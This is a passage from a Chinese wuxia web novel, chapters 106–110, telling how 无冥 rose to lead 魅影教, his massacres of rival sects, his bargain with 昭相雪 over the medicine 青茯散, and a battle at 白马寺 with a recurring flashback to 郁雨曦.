“对嘛,这才有意思,来啊,杀我啊。”贾波邪笑道。 这时,河中发出耀眼白光,一颗宝珠从河中升起,正是前天的那颗陨石,宝珠像被引力吸引了一般,径直飞到了他的手中。 贾波大惊,问道:“这是什么宝物,干掉他,把那宝珠给我抢来。”四五个手下听了,齐身冲了上去。 还没待小狐狸反应过来,一人的大刀已经朝他头部劈去了,此刻,这刀离他的头部只有一寸不到,想躲过去,估计是难了,但突然间,宝珠光芒淡去,小狐狸化作一团黑雾,消失在身前,在出现时,已是在贾波身后二十米之外,左手仍旧是那诡异的宝珠,而右手则多出一把宝剑来,再一细看,竟是贾波身上的佩剑,贾波看着身上空荡荡的剑套,不觉后背发凉,冒出几滴冷汗来。 “给我上,干掉他。” 但这二十多个自幼习武的高手,竟不是从不通武学的小狐狸的对手!瞬息之下,二十几个活人,皆被割吼而杀,同时,长剑架在了贾波的颈上,贾波大惊,竟然被吓出尿来,当下自是大气都不敢出一个。 小狐狸冷冷说道:“地狱空荡荡,魔鬼在人间。既然地狱不收你们的命,那就由我来收下好了。”话罢,他不给贾波丝毫辩解、喘息的机会,直接割开了贾波的咽喉。 从那时起,他再不是小狐狸,而是自称无冥,天地既无冥界审判人间恶魔,那我便化身冥界,替其判之! 地窖之下,那小老头儿躺着地上,辗转反侧着,似乎在想什么事情,突然他翻身坐起,口中喃喃道:“我想起来了,玄门迁到幽州后,确实改了个教名,万幻宗!对,就是万幻宗!” 第一百〇六章 中原大劫! 无冥坐回主位,苦笑起来:“说来可笑,那郁家小姐如此践踏我的真情,可我却始终深爱着她。”无冥摇摇头再说道:“也罢,先不提她,再说说后事吧……” 无冥杀了贾波后,去了幽州,多方打探,终于加入了魅影教,也就是之前的八仙门玄门,因无冥的高深,聪明勇敢,且志向远大,最终博得大家信任,成为了魅影教的掌门,而黄弧则成了魅影教的左护法,由于暗器门门主贾波被杀,所以八仙门弟子皆仇视着魅影教,而此时魅影教势弱,无冥只好带着魅影教迁入了乌桓,接着,在乌桓苦心修炼了五年后,魅影教日渐壮大,终于,发展到了可以报仇雪恨、入主中原的那一天…… 五年前,暗器门门主贾波被杀后,新任暗器门主将全门迁徙至幽州,处处为难、暗杀魅影教弟子,这也是魅影教迁往乌桓的直接原因。所以,五年后的今天,无冥将入主中原的第一战选在了幽州,说起来,暗器门全门上下满打满算有一千五百多人,本以为会是场恶战,哪知新任门主不堪一击,连魅影教冥火堂主都打不过,那一天,暗器门全门上下死了一千三百多人,只有两百多个年轻小伙和奴隶被放走了…… 魅影教拿下幽州,并没有因此停下,他们像杀红眼的狼群一般,没有丝毫松懈,血洗幽州后的第四天,便来到了冀州,这次,他们将魅影教分为两部份,同时进攻业门和剑门两门,五年来,魅影教一直在不停的修炼,精进,而八仙门却一直在想着如何鱼肉百姓,如何谋取暴利,所以,当下打得也很轻松,一天之内,杀了业门和剑门两千多人,同样,将二十二岁以下的年轻人还有奴隶,约莫五百多人全数放走。 事态的发展已经超乎了张黎的想象,剩下四门赶紧聚在司州,在八仙楼上,商量着生死存亡的对策,同时,他们也给其他门派发出书信,请求援助,信上大肆述说魅影教屠灭全门的恶行,豫蛇教、白马寺、凌云谷等都在受请之列。 然而,魅影教行军的速度还是超乎了张黎他们的想象,书信前脚刚寄出去一天,魅影教后脚便已来到了司州,来到了八仙楼前。 无冥列于教前,对八仙楼上的张黎喊道:“张黎小儿,好久不见” 一边张旭看着楼下那个无冥,立马认出其人:“爹,是当年那个闹事的小狐狸,就是他杀了贾叔。” “是他!”张黎满眼惊奇。’四日之内,灭了我八仙三门弟子四千多人,绝非等闲之辈’ “张黎,我还给你带了个老面孔,你应该认识的。”无冥话罢,黄弧站出队列:“张黎,三十年前,你残害先师,还想安插亲信坐我玄门门主,若不是我玄门上下齐心,怕是玄门也将没落,跟着你干鱼肉百姓的勾当了吧。” “黄弧,你们玄门若早些跟我,哪会流浪幽州、流浪乌桓!让弟子饱受极寒二十五年,这就是你当门主以来的绩效吗?” “饱一顿饥一顿,但至少我们吃得舒心,不像你们,整天鱼肉百姓,残害生灵,一定过得提心吊胆的吧!”黄弧讽刺道。 “总门主,别跟他们废话,那魅影教不过区区两千罢了,如今我们四门弟子聚在一起,有七千多人,一人一口唾沫星子也能把他们淹死!”刀门门主说道。 “魅影教屠我三门弟子,此仇不共戴天,我们不去找他,他居然还敢主动送上门来,找死!一起上,宰了他们!”张黎一声令下,七千多人从周围居民屋中窜出,将魅影教团团包围着。 “那就算算总账吧”无冥邪笑着,手中凭空多出一颗宝珠,身后魅影教弟子也到拔出了剑,严阵以待。 …… 那一仗打得昏天黑地,惨不忍睹,魅影教损失惨重,死伤了五百多人,当然,八仙门损失更重,死了五千六百多人,放走、逃走一千五百多人。 八仙门主最后活的,是张旭,此刻无冥拿着一把冥阎长镰,架在张旭脖子上。 “说,她在哪儿?” 张旭浑身颤抖、万分恐惧,颤颤巍巍的说道:“谁,谁在哪儿。” “郁雨曦,郁雨曦在哪儿!”无冥一边说着,长镰嵌入了张旭脖子。 张旭连忙后退了些:“我不知道!不知道。” “我要真相!”无冥一边说着,一边将长镰一划,砍断了张旭左臂,接着,再将长镰架在了张旭颈部。 剧烈的疼痛让张旭发出阵阵惨叫:“她死了,五年前就死了。” “死了?”无冥楞了两秒,接着恶狠说道:“你撒谎”话罢长镰轻划,张旭当场倒地。 “真的死了吗?”无冥呆在原地,丢掉冥阎长镰。 黄弧见状背起无冥,对左右说道:“撤退,全速前往琼剑山!”(琼剑山乃是之前玄门在司州的总坛。) 魅影教走后的一个时辰,白马寺赶到,但为时已晚,他们看到的,只有堆积成山的尸体。地狱空荡荡,恶魔在人间,无冥本意是要替天地审判恶魔,殊不知,此时的他已然成了新的恶魔。 司州白马寺: “想不想不到,杀人如麻的无冥,其实也是个可怜之人。”老道士感叹道 “是啊,没有谁生下来便是杀人如麻的刽子手,可恨之人,必有可怜之处。”老瘸子接着对那道长说道:“后来的事你都知道的吧,你们凌云谷的苍临大师还有白马寺的摄摩腾为了避免江湖上更多无辜的人卷入纷争,于是,他们两独自上了琼剑山,和无冥师祖比武,约定输的人,将永远退出江湖,最终,你们用凌空剑法第九式和渊龙杖法第十式组成联合技,打败了无冥祖师……” “琼山比武,无冥祖师虽然惜败了,但他并不服气,因为,原本约定的比武日期是九月十五,但苍临和摄摩腾却提前了十天,于九月初五便上了山,而那时的无冥内力只有原来的二分之一,所以,无冥很不服气,派出十二位魔教高手在苍临大师归谷途中将其杀死,抢走了七魂剑和《凌空剑谱》。” 乌桓魅影教总坛: “我原本以为,杀了苍临,中原武林便会如一盘散沙一般,彻底瓦解,哪料到,中原武林却因此变得更加团结,中原五派合而为一,最终,在苍玄大师的带领下,攻上了琼剑山,而此时的我,重伤未愈,哪里是他们的对手,于是,我将教派上下的珍宝秘籍分成三部分,分别沿不同的密道送出了琼剑山,除了《万幻影诀》被剑阁弟子劫下来了以外,其他的,都安全的送至乌桓总坛。”无冥一边说着,一边喝着雪榆。 “对了,前辈,我有一事不解,你说苍临大师他们提前上了山,导致那场比武失败,为何?”昭相雪问道。 “因为当时,我在炼药,用那《万幻影诀》炼药,我听说,将万幻影诀的魂力做为药引,炼出的圣药,能治天下百病,更神奇的是,它还能借尸还魂。”无冥一边说着,一边傻笑起来。 “所以说,五派围攻琼剑山时,你仍在炼药,可是你为何不停一停,先休息休息,以《万幻影诀》的威力,五派联手也未必是前辈的对手。” 无冥摇摇头:“没有那个必要了,该杀的,一个不差都已经被我杀光了,剩下那五派,不在我的杀戮范围,而且,当时的我只想做一件事,快些练成圣药,快些见到她,不过五派并不给我机会,我刚刚练好药,苍玄他们便打了进来,作为魅影教的教主,自然不能坐视弟子被惨杀,所以,我用仅存的内力挡在门口,掩护大部分弟子沿密道撤出了琼剑山,至于那瓶圣药,后来,好像被分成了三份。” 第一百〇七章 潜入 “昭相雪,其实我挺羡慕你的,你爱的人也爱着你,不像我,哎”无冥低着头,叹气道。 “前辈,感情这事说复杂也复杂,说简单也简单,郁小姐她爱不爱你,我作为旁人,说不清楚,但你作为当事人,应该很清楚她爱不爱你才对,如果不爱,她何必在新婚之夜的前两天,和你私奔,如果她嫌弃你的奴隶身份,那她为何当着那么多人的面和你表白,送你礼物,你只记住了她在新婚之夜时说的那段伤心的话,却忘了在郁府时,她对你的万千关心,万千喜爱,说起来,我曾经也迷茫过,因为一些原因,不敢表露出真心,总觉得自己不配拥有爱情,但感情面前哪儿什么高低贵贱,只要两颗心是靠在一起的,纵使万丈悬崖相隔,两人也能彼此相爱。” 听了昭相雪这话,无冥沉默了,吧唧吧唧的喝着闷茶:“世上或许真有爱情,一天、一月、或者一年,但绝不可能是一生。”话罢,他放下茶杯,对昭相雪说道:“青茯散我可以给你,但你得帮我拿回两样的东西!” 听了这话,昭相雪两眼放光:“哪两样东西?” “万幻珠、还有那个小葫芦!” “这,我上哪儿去给你找啊……” “前些天,你们中原武林的白马寺僧众在浮生长老的带领下打到我派总坛,杀死了我的左护法鬼岐,接着,我派丢失了很多珍宝,其中就包括万幻珠。” 昭相雪沉思了片刻,犹豫不决。 “万幻珠并不是什么大杀器,它只是记载了我派诸多心法、秘诀,机密事件等。”无冥解释道。 昭相雪思虑再三,点了点头:“行,那个葫芦又在何处?” “那个葫芦和《万幻影诀》放在一个盒子里,当年,被剑阁弟子劫走后,移交给了凌云谷,听说,被藏在了凌云密阁之中。” “盒子?好,原来如此,我知道了,成交!” 司州白马寺: “时候不早了,我也该走了。”看着昏暗的天色,道士起身告别道。 “道长心系天下,如此,我也便不留你了。” “老伙计,我可得叮嘱你几句,你我皆是可左右天下大势之人,这世事如棋,一步错,步步错,如今天下大乱,你可别走了老路啊,老伙计。”道士笑着提醒道。 “我都将无冥的事跟你和盘托出了,如何还会走老路,你放心吧,我就安安静静的在这寺庙里扫扫地,下下棋,哪儿也不去。” 道士笑了笑,正要离去,突然停下脚步:“对了,你后来有再找过她吗?” 那人顿了顿,也笑了笑:“何必再相见,只要知道她过得不错,我便心满意足了。” …… 幽州: 七派聚集高手、掌门聚在一个客房中议事: “这昭相雪太不像话了,如今七派重伤,他做为盟主,居然消失了整整一周,他眼里到底还有没有我们七派!”章玄怒道。 “杜济,你是不是将青茯散的事告诉盟主了?盟主是不是去魅影教了?”浮生一花逼问道。 “这,我从没说过啊,我……我也不知道盟主去哪儿了。”杜济支支吾吾说道。 “枯恂都说了,盟主去找你拿药,之后再没回来,你一定见过盟主,知道他的去向。”章玄呛道。 “杜济,你快说吧,眼下七派同盟,当有话直言,你这样支支吾吾的,只会让事态更加严重。”蔡彧追问道。 杜济摇摇头不想回答,但叹了口气后,还是说了出来:“或许,该是去了乌桓。” “乌桓?!此时正是两方交战之际,他去乌桓干嘛。”展平看着杜菱说道。 “你看我干嘛啊,我哪儿知道啊。”杜菱一脸懵逼。 “昭大侠救了我们中原武林两次,说明他还是心系武林安危的,如今正是存亡之际,他不可能毫无缘由的不顾我等安危,独闯龙潭,莫不是有要事要办。”蔡彧说道。 “有什么要事能大过七派的安危!”章玄拍拍桌说道。 “够了,少说两句,大家现在不是平安到达幽州了嘛,都别瞎猜了,等盟主回来,再问他便是。”浮生嘴上这样说着,内心已然知道了缘由。 “对对,当务之急,应该是想想七派接下来该如何防备魔教入侵。”杜菱转移注意力道。 “如今,魅影教骷魅《万幻影诀》魔功大成,而中原七派却无可御敌之神功,此诚危机存亡之秋啊。”杜菱故意夸大影响,却不料帮了个倒忙。 杜冥道:“如今,秋殇大师、谷月清掌门皆身受重伤,真正拿得出手的,只有昭相雪的《太平清领道法》。可偏偏,关键时刻,他却玩起了失踪。” “绕来绕去又绕回来了,所以,昭相雪到底跑哪儿去了。”林奕湘说完,蔡彧牵起林奕湘的手,紧握在手中,这时,门外传来敲门声,接着那人说道:“各位掌门,盟主回来了!” 洛寻天赶紧起身将门打开:“快,快去把他请过来。” 此时,昭相雪和无冥正坐在客栈里,品着茶水。 “这茶,没有我那雪榆好喝啊。”无冥一边喝着茶,一边吐槽道。当然,无冥敢坐在这儿,肯定是用易容术换了张脸的。 “前辈说笑了,雪榆取材珍贵,那是这些寻常茶水可比的。” 正话间,一弟子走来对昭相雪说道:“盟主,这边请。” “好。”接着对无冥说道:“前辈,你饿了就叫菜吧,这顿我请了。” “好,你去忙吧。” 推开客房门,只见里面整整齐齐围着一张大圆桌坐满了人,皆齐刷刷的看着昭相雪,昭相雪自知有愧,先是给大家鞠了一躬,接着说道:“各位,抱歉了,这几天,我擅自离开,是我辜负了大家的信任,抱歉。”话罢再鞠一躬。 见盟主赔礼,众人也不好意思多加为难,但章玄任毫不客气的说道:“昭相雪,我得提醒你一句,现在你的身份可不是无牵无挂的散修了,从你继位武林盟主的那天起,你就应该为七派安危、为整个武林安危负责!” 昭相雪苦苦一笑,也不好意思接话,洛寻天起身,给昭相雪添了个座位:“坐下在说,坐下在说。” 昭相雪坐下后,蔡彧接着说道:“昭相雪,现在你是武林盟主了,要学会取舍,你的每一个决定都有可能颠覆整个武林,希望你在做决定时,能和大伙商量一下。” 场面一度十分尴尬,昭相雪也不好意思解释,毕竟他离开队伍的理由确实是太荒唐了。 “昭相雪,我不管你是因为什么理由离开队伍的,但我们希望,你能尊重一下我们,别在有下一次了。”浮生一花。 “抱歉了各位,我昭相雪再次发誓,这种事,绝不会发生第二次,如若违背,我必受五雷轰顶之罚。” …… 前前后后交谈了两个多时辰,最终一致决定,七派仍汇聚司州,先好生休养生息,接着在做打算…… 第一百〇八章 大势 一周以后,七派终于回到白马寺,走了这么久,各派都很累,当下自是各回客房,各自休息。 昭相雪没有回去休息,而是在谷月清客房门口渡来渡去,这时枯恂看到了昭相雪奇怪的举动,问道:“盟主,你在谷师傅门口干嘛,有事直接进去啊。” “枯兄弟”昭相雪笑笑:“我有事与谷掌门商量,又怕打扰到他休息。” “哎呀,如今你是武林盟主,有什么事直接进去就是了。”话罢,枯恂拉着昭相雪,想把他直接拉进去,昭相雪却摆摆手,不好意思进去:“不妥不妥,万一打扰到谷掌门休息可不好。” “哎呀,来都来了,先进去吧,谷师父若在休息的话,再退出来便是。” 这时,屋里传来谷月清的声音:“恂儿,谁在门口啊?” “谷师父,是盟主在外面。”枯恂朝里面喊道。 “让他进来,我有话要与他说。” “是”枯恂拉着昭相雪走了进去。 “恂儿,你先出去,我和昭大侠单独聊聊。” “是”枯恂退了出去,顺便带上了门。 现在屋里只剩下谷月清和昭相雪两人了,昭相雪客气道:“谷掌门,身体恢复得还不错吧。” 谷月清摇摇头:“年纪大了,身体早已大不如从前了,那日在草野之战上,我伤了元气,没个三五年是很难好的。” 听了这话,昭相雪也不知道该说些什么话来安慰谷月清。 谷月清接着说道:“话说回来,那骷魅的功法诡异得很,你那《太平清领道法》才刚刚突破一重天,只怕,现在还不是那骷魅的对手。” “谷掌门,你都知道了?对不起,我并不是有意要偷学贵派武功的。”昭相雪惶恐赔礼道。 谷月清笑了笑:“昭少侠莫要紧张,贫道并没有要怪罪于你的意思,《太平清领道法》可不是谁想学就能学的,它对于体质的依赖性是极高的,非至阳体质的人,不能学成,昭少侠本性善良,又深明大义,若不是少侠会这《太平清领道法》,那中原武林在冀州就已经覆灭了,就算冀州之战侥幸退去,草野之战上,也不会善终,此乃天要昭少侠学会这《太平清领道法》以救中原武林啊,这本书你拿回去好好钻研,争取早日到达二重天的境界。”话罢,谷月清颤颤巍巍的从衣袖之中摸出了一本书递给昭相雪。 昭相雪接下一看,正是《太平清领书》,当即摆手欲退回:“谷掌门不可,这书太珍贵了,我本非凌云谷弟子,岂能学习贵派武学。” 谷月清瞬间马下脸色,满是严肃:“昭少侠,我虽然年纪大点儿,却并不迂腐,如今天下大乱,魅影教蓄势待发,中原武林随时有覆灭的危险,你即作为武林盟主,就应该不断精进自己武学,如此,才能保得百姓周全。” 见谷月清态度强硬,且说得也确实有理,所以也不再推辞,索性便收下了那本《太平清领书》,说道:“如此,我便代天下万民,谢过谷掌门大义了。” “哈哈,你等下,我还有些东西要给你。”谷月清说着,从另一只衣袖里再摸出一个铁盒子,还有一把钥匙,接着将他们递给昭相雪。 “这把钥匙叫北冥神匙,可以打开这个铁盒子,这盒子里面装的是《万幻影诀》还有一个小葫芦,现在我把它都交给你了,你好好研究研究《万幻影诀》功法的优缺点,希望在魅影教入侵中原时,能有所帮助。” 昭相雪接过这些东西,假装惊奇道:“这把钥匙这么神奇的吗?” 谷月清笑了笑,说道:“昭相雪,中原武林的安危我可就托付给你了,你可千万别让我失望了。” “谷掌门,你我只见过一面,为何你如此信任我。”昭相雪感动的问道。 谷月清大笑道:“我师父曾经说过,天下之事,时也势也。凡人候时顺势,圣人改时造势。我也曾想过要当个圣人,为天下万民改时造势,但最后发现,我只能是个候时顺势的凡人。昭少侠,如今这大势之下,不是我要信任你,而是天下万民信任你。” 昭相雪看着手中铁盒还有《太平清领书》陷入沉思。 “时候不早了,我该休息了。” “多有打扰了,晚辈告辞。”昭相雪起身作揖道,谷月清微笑着点了点头。 次日,天刚亮,太阳刚刚升起,而后山山头一小亭里,早已并排站立着两个人,正是无冥和昭相雪。 “真没想到,这初晨的美景,丝毫不比落日的余晖差,这个太阳好像负着重荷一般,一步一步,努力的向上攀升着。”无冥摇摇头再说道:“每天早上都拼劲了全力向上攀升,可到了晚上,尽管它愿不愿意,它都得落下来。” “太阳朝升夕落,是亘古不变的自然现象,你替他惋惜,我却替它骄傲,至少它璀璨过,闪耀过,发出过万丈光辉,普照万民,并且,每一次的下落,都会迎来新的上升,周而复始,永不停息。”昭相雪一脸坚定。 “朝升夕落,普照万民,哈哈,我要是也能成为这太阳就好了。”无冥看着晨曦,喃喃道。 “如果你愿意,或许真的可以!”昭相雪看着无冥,真诚的说道。 听了这话,无冥愣了几秒,接着大笑起来,没有说话。 沉默了片刻了,昭相雪从衣袖中取出一物递给了无冥。无冥接过来一看,正是百多年前,郁雨曦送给他的那个小葫芦,小葫芦干瘪了不少,但外形大体没变:“万幻珠呢?” 昭相雪摇摇头:“我觉得你应该是搞错了,我问过白马寺的浮生方丈了,他说,他们并没有攻入魅影教内部,所以,并没有盗取过里面的珍宝。” 无冥听了也没多话,伸出右手,释放出大量内力向四周涌去,后山一庭院里,一个老者翻身起来,伸出右手感受着四周涌动的内力,诧异道:“万幻影诀?!”于此同时,浮生、杜菱、展平、蔡彧等内力高强的人皆睁开眼醒来,显然,他们都感受到了这异样的内力涌动,立马也翻身而起,迅速穿好衣物,走出房去。 数息之后,无冥收起了内力,摇摇头:“你说得没错,万幻珠确实没在此处,可能真的不是他们拿的。” “万幻珠我以后再帮你找,你能先按照约定把青茯散给我吗?已经过去两周了,你之前给的那瓶青茯散今天便要用完了。”昭相雪有些着急的说道。 无冥却邪魅一笑:“昭相雪,你并没有按照约定,替我找回万幻珠,所以,我凭什么要按照约定给你药,我跟你说过吧,制那药很耗费内力的。” 昭相雪听了这话,当即跪下:“求求你了,前辈,无论任何要求我都答应你,求求你再送一瓶青茯散给我吧!” 看着眼前这跪下的昭相雪,无冥自语道:“看得出来,你很爱她,若是让你自刎换药,或许,你也会毫不犹豫吧。” “当然,我愿意一命换一命。但前辈若真要如此,可否等五年之后,谷掌门痊愈后,我将盟主之位还给他后,再行自刎。” 无冥听了大笑起来:“若我要你现在就以死换药呢?” 昭相雪愣住了,犹豫了片刻,悲伤说道:“此时正是中原武林存亡之秋,我不能因此而辜负万民,前辈若真要如此的话,那我只能硬抢了,大不了这辈子背上个匪寇的骂名,但比起婉儿的性命来说,这也值了!” 第一百〇九章 剑拔弩张 无冥先是一愣,接着大笑起来,提起衣袖,抹了抹眼角的泪点。 “这药你拿去吧,万幻珠,我自己找便是。”无冥将青茯散丢给了昭相雪。 昭相雪接过药,鞠躬道:“多谢前辈赐药,五年之后,我当按照约定,自刎答谢前辈恩情。” 无冥抿嘴一笑:“我要你的命干嘛,你且留下你的命,好好照顾那位姑娘吧。”话罢,无冥转身离开小亭。 刚走了两步,便停了下来,好像是前面有个老者,挡住了无冥去路。 挡路的,正是那个老瘸子。 无冥先是一愣,但看到这老瘸子邋遢的模样,便和气的说道:“老先生,你挡住我路了。” 老瘸子却说道:“天下道路千千万,你却非要选这条没有终点的路。” 听了这话,无冥变得谨慎起来,接着他仔细看了看这老瘸子的脸,笑了起来:“哈哈,我认得你,没想到,你居然还活着。”话罢,摇摇头,化作一团黑烟,从老者身上穿了过去。 老瘸子丝毫不惊,也化作一团黑烟,再次挡在了无冥身前:“我本无意在参管江湖之事,但你既然来了白马寺,那我便不得不管了。” “停手吧,骷儿。”老瘸子一把抓住无冥的手。 无冥迅速挣开,接着反抓住老瘸子,笑道:“老小子,你知道我是谁吗?” 听见眼前这人叫自己“小子”,老瘸子顿时不开心了,一把将其推开:“放肆!骷儿,你叫谁小子呢!你好好看看我是谁!” 面对暴躁的老瘸子,无冥却显得很慈祥:“好,那我就仔细看看我孙儿!” “放肆!”老瘸子猛的挥掌拍向无冥,无冥也不躲闪,出掌接下。当下两股内力相撞,两方相当,谁也压不住谁,巨大的内力震动,将无冥的易容面具震下,露出了骷魅的脸。同时,这巨大的内力波动也引起了七派的注意,大厅内,浮生对几位武林高手说道:“在后山,跟我来。”接着,杜菱、展平、蔡彧等皆跟着浮生向后山跑去。 看到真容,老瘸子笑了笑:“骷儿,易容术都被我破了,还不承认。” 无冥也不否认,猛的一施力,内力瞬间压过了那老瘸子,两方魂力交汇在一起,老瘸子大惊,立马停了手:“你不是骷魅,你是,无冥祖师!” “哈哈,孙儿,既然你安然无事,为何不回乌桓总坛。” “祖师爷,孙儿,孙儿已经隐世十几年了,凡尘俗事再与孙儿无关!” “荒唐!既是我无冥的后代,当励精图治,壮大我魅影一派才是,怎可,屈居归隐在这鸟不拉屎的白马寺,做个无名小卒!” 老瘸子低下头,不敢吭声。 这时,十几个人突然出现在亭子面前,正是浮生方丈他们。 “是骷魅?!” 众人看到骷魅,皆惶恐不已,拔出武器来,严阵以待。浮生方丈更是上前将那个老瘸子拉回:“老先生,你快走,这人极其危险!” 老瘸子也不多话,假装受了惊跑下了山,其实是化作一团了黑烟,闪到不远处,静观其变。 无冥傲视着众人,不屑道:“怎么的,一个个剑拔弩张的,是虚张声势呢,还是真的想置于死地啊!有胆子的就来吧,我倒真想看看,没了秋殇一叶和谷月清,你们中原武林还有谁能挡得住我!” 蔡彧往旁一扫,看见了亭子里的昭相雪,诧异道:“盟主,你也来了?”众人这才发现这骷魅身后还站着个人,正是昭相雪。 昭相雪一时语塞,不知道该说些什么。这时无冥转过身解围道:“哟,后面还站了个人,怎么的,你们不会以为将我包围了,我就真的走不了了?” 众人这才以为昭相雪也是刚到的。 “盟主,你一声令下,我们便立马冲上去,活剥了他!”一边说着,展平向前走了两步。 哪知无冥不按套路出牌,说打就打,豪不讲理:“凭你也配。”话罢便化作一团黑烟,闪至展平左侧,展平急挥剑砍去,哪知左侧只是残影,真身在展平的右侧,当下一掌拍去,展平自是无力防备,被无冥一掌拍退三米远。 “蛇仙指路”杜菱两指过去,无冥迅速闪开,在次消失,在出现时,已经闪到了浮生方丈身后,正要挥掌偷袭,只见一条内力汇聚的蛟龙从地下窜出,将无冥逼退,想来正是浮生方丈提前使出的渊龙杖法第八式——深渊潜蛟。无冥也不纠缠,当下化作黑烟,分成两团,一前一后向正在架琴的蔡彧击去,蔡彧击忙挥掌格挡,但挡得住前面的挡不住后面的,此时另一个无冥已闪至蔡彧身后正要挥掌,身旁的林奕湘急挥剑挡下。 无冥冷冷看了眼林奕湘,再施万幻影诀神功,居然再次化分出一个无冥来,接着瞬身术一施,向林奕湘击去,林奕湘只得一边退后一边收剑回防,而前后受敌的蔡彧只得弃了琴,向旁闪去,无冥也不追击,一掌将琴拍作两半。 “我的蕉凤古琴啊,就这么毁了!”蔡彧摇头叹息,满是不甘。 没了古琴,蔡彧的琴功亦将无法施展,当下已然没了威胁,只见三个无冥化作三团黑烟汇至一处。 “中原武林就只有这个水平吗?”无冥冷眼嘲讽道。 此时的展平已被杜菱扶起,当下,剑指无冥,怒道:“中原武林传承千多年,可不是你这个外人可以随意批判的,凌空剑法第七式——七元归一。” 七魂剑起,立马飞出七柄虚剑刺向无冥,虚剑一边朝无冥飞去,一边汇聚在一起,形成一柄巨大的虚剑。 无冥见状正想向左边闪去,只见左边突然飞来一条巨蟒,巨蟒张着血盆大口直咬无冥,想来,正是青菱师太的《白菱神功》第十重——弑魔蛇神!此情此景,无冥只得向右边躲闪,但右边同样不安全。 “深渊潜蛟!” 一条蛟龙再向无冥右边飞去。前面被封的死死的,无冥只好向后退去。 “盟主,还等什么!”蔡彧朝昭相雪喊道,此时,昭相雪位于无冥身后十米处,正是绝佳的攻击位置。 昭相雪摇摇头,咬着牙,狠下心,挥掌击了上去,同时身上也形成一个巨大的银白色护罩,将前面的无冥弹起。与此同时,前面的巨剑也已经飞到了无冥身前,离他只有不到半米的距离。 一旁悄悄观战的老瘸子,一个劲儿的摇头叹息道:“惨了惨了。”汗滴不断的从老者额头上冒出来:“这老道士,上次不该出现的时候,毫无防备的出现了,现在,真到了该他出手的时候,他却玩儿起了失踪!” 第一百一十章 一决雌雄 当下无冥遭受四方来敌,形势岌岌可危,那老瘸子冒出一句:“惨了惨了,无冥祖师爷可千万别下杀手才好。” “万幻影诀第九重——天下大同!” 只见,一堵巨厚土墙从地下冒出,巨剑直至的词了过去,但并没有刺破那土墙,于此同时,地上冒出一阵飓风,将那巨蛇和、蛟龙、还有残余的剑气纷纷卷散。还没完,众人脚下方寸之地野草疯长,缠住双脚,接着,那方寸土地突然上窜,瞬息间便带着土上之人窜升到了十多米的高空中,一边上窜,脚下泥土一边化作、暗器、短剑、飞镖等武器攻击众人,而原本缠绕双脚的野草也是越长越深,转眼便绕到了腿部,众人一边拉扯着野草,一边还要躲避土剑攻击,且是在方寸之地上,稍有不慎,便会掉下去,这不,才过两秒,土柱便已经窜升到了三十米的高空。 然而,无冥竟还觉得这些不够:“万幻卸魂掌!”只见众人四周又多出百千道卸魂掌来,虚虚实实、真真假假,肉眼完全分辨不清,只能尽量躲开掉每一掌的攻击。 “昭相雪,我大方赠你青茯散,你就是这么对待我的吗?” “道不同,不相为谋,前辈,得罪了!”昭相雪将防护罩聚拢在身边两米左右,接着将大量内力注入掌里,猛的向下一拍,直接将脚下的方寸土柱拍得稀碎。当然,昭相雪也因失去了支撑,从三十多米高的高空中掉了下来,不过好在昭相雪有防护罩防身,安全落下自是没有问题。 回到地上的昭相雪没有犹豫,立马施攻救助其他人,但看着已被土柱窜升到了四十多米高空的众人,昭相雪僵住了,不知该如何好办,此时,众人被草藤紧紧的缠绕着,若贸然击碎这些土柱,众人腿脚被绑,不能有效施展身法,掉下去必死无疑。 此时,草藤已经绕到了众人腰间,突然,展平对杜菱大喊道起来:“菱儿,破剑!” 破贱?展大哥在骂我?杜菱以为自己听错了,没有理会,展平见无反应,再喊道:“破剑啊,菱儿!” 这些,杜菱听清楚了:“你骂谁呢?我哪儿破贱了?你才破贱呢!”杜菱生气回怼道。 无冥在下面也看笑了,总结道:“看来是知道自己活不了了,都开始翻脸算总账了!” 展平看着莫名生气的杜菱惊呆了,只好再做出一个动作来:“破剑啊!”说着,展平将七魂剑重重的丢下土柱。 杜菱楞了一秒,但还是照做了,将手中挥砍草藤、格挡沙土的长剑,丢了下去,蔡彧、林奕湘等人也都跟着将长剑丢了下去。 见七魂剑落下,昭相雪和无冥两人接跳起来去抢夺,但昭相雪哪里快得过无冥,无冥只一个瞬身术,便抢走了七魂剑,至于其他的剑,则落在地上,摔成了碎片。 “凌空剑法第八式——众生卸元!”展平假装手中有剑一样,对着苍穹划了几下,只见七柄虚剑,飞到上空,瞬间汇聚成了一柄巨剑,接着狂风骤起,原本散落在地上的碎石、沙瓦、还有那百多柄长剑碎片,通通往巨剑处汇聚,这时,巨剑开始旋转起来,一边旋转还一边向四周飞出小剑来,这些小剑被展平操纵着,将众人身上的草藤割开,昭相雪见击也赶忙用内力将土柱尽数击倒。 众人凭借矫健的身法,安全着陆,自是不再话下。 而无冥居然站在原地,呆呆的看着展平,喃喃道:“破剑?破贱?”嘴上这样说着,脑海却浮现出他与郁雨曦小姐在树林里相遇的场景: “小狐狸,小葫芦,你们两个读音倒还挺像的,以后我不在身边,就让这个葫芦陪着你吧。” 小狐狸接过那小葫芦,小心的放在手心:“好,我知道了,我会妥善保管好的。” “对,千万要保管好,千万别摔碎了。” 小狐狸笑着点点头。 左右提醒道:“小姐,时间差不多了,别让我们难办,老爷还等着呢。” 郁雨曦点点头,接着对小狐狸再嘱咐道:“千万别把葫芦摔坏了,千万别,摔碎了!”郁雨曦语气变得焦急了起来。 这时左右侍卫说道:“时辰已到,走了。”话罢便强行拉着郁小姐离开,郁小姐一边走,还一边回头喊道:“千万别,摔破了!千万!千万!” 无冥呆在原地,此时落地的众人已将无冥团团围在中间,众人除了浮生方丈还有个渊龙杖在手以外,其他的,都没有武器。所以,当下众人只是包围着无冥,但并不敢上前。 一旁偷偷观战的老瘸子内心十分焦灼,自语道:“我的心结是解了,可无冥祖师爷的心结谁来解啊,解不了心结,武林不知又要死多少人!” 此时,无冥身处包围圈中心,右手紧紧握着七魂剑,然而他的心却不在这里,完全在想着另一件事。 是他从地窖之下放出来后与郁小姐在树林里相遇的事: “小狐狸,小葫芦,你们两个读音倒还挺像的,以后我不在身边,就让这个葫芦陪着你吧。” 小狐狸接过那小葫芦,小心的放在手心:“好,我知道了,我会妥善保管好的。” “对,千万要保管好,千万别摔碎了。” 小狐狸笑着点点头。 左右提醒道:“小姐,时间差不多了,别让我们难办,老爷还等着呢。” 郁雨曦点点头,接着对小狐狸再嘱咐道:“千万别把葫芦摔坏了,千万别,摔碎了!”郁雨曦语气变得焦急了起来。 